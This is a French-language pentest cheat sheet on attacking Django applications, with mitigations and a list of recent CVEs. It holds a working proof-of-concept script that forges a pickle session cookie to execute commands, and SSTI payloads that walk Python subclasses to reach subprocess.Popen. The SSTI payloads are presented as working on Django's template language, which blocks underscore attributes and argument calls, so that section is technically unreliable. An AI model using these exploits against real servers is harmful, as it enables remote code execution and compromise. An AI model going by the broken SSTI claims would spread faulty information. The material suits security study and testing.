Django

Reading time: 5 minutes

Manipulation du cache pour RCE

La méthode de stockage par défaut du cache de Django est Python pickles, ce qui peut conduire à RCE si des entrées non fiables sont dé-picklées. Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent.

Le cache de Django est stocké dans l'un des quatre endroits suivants : Redis, mémoire, fichiers, ou une base de données. Le cache stocké dans un serveur Redis ou une base de données est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut également être en mesure d'utiliser un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont marqué cela comme un non-problème. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront en fonction de l'implémentation.

Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base de données SQLite : https://hackerone.com/reports/1415436

Injection de modèle côté serveur (SSTI)

Le langage de modèle Django (DTL) est Turing-complet. Si les données fournies par l'utilisateur sont rendues sous forme de chaîne de modèle (par exemple en appelant Template(user_input).render() ou lorsque |safe/format_html() supprime l'auto-échappement), un attaquant peut atteindre un SSTI complet → RCE.

Détection

1. Recherchez des appels dynamiques à Template() / Engine.from_string() / render_to_string() qui incluent toute donnée de requête non assainie.
2. Envoyez une charge utile basée sur le temps ou arithmétique :

{{7*7}}

Si la sortie rendue contient 49, l'entrée est compilée par le moteur de modèle.

Primitive à RCE

Django bloque l'accès direct à __import__, mais le graphe d'objets Python est accessible :

{{''.__class__.mro()[1].__subclasses__()}}

Trouvez l'index de subprocess.Popen (≈400–500 selon la version de Python) et exécutez des commandes arbitraires :

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universel plus sûr consiste à itérer jusqu'à ce que cls.__name__ == 'Popen'.

Le même gadget fonctionne pour les fonctionnalités de rendu de Debug Toolbar ou Django-CMS qui gèrent mal l'entrée utilisateur.

Exécution de Code à Distance via Cookie de Session Basé sur Pickle

Si le paramètre SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' est activé (ou un sérialiseur personnalisé qui désérialise pickle), Django décrypte et désérialise le cookie de session avant d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (la SECRET_KEY du projet par défaut) suffit pour une exécution immédiate de code à distance.

Exigences d'Exploitation

• Le serveur utilise PickleSerializer.
• L'attaquant connaît / peut deviner settings.SECRET_KEY (fuites via GitHub, .env, pages d'erreur, etc.).

Preuve de Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI.

Atténuations : Gardez le JSONSerializer par défaut, faites tourner le SECRET_KEY, et configurez SESSION_COOKIE_HTTPONLY.

CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier

• CVE-2025-48432 – Injection de Log via request.path non échappé (corrigé le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
• CVE-2024-42005 – Injection SQL critique dans QuerySet.values()/values_list() sur JSONField (CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.

Toujours identifier la version exacte du framework via la page d'erreur X-Frame-Options ou le hash de /static/admin/css/base.css et tester ce qui précède lorsque cela est applicable.

Références

• Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" – 4 juin 2025.
• OP-Innovate : "Django publie des mises à jour de sécurité pour traiter la faille d'injection SQL CVE-2024-42005" – 11 août 2024.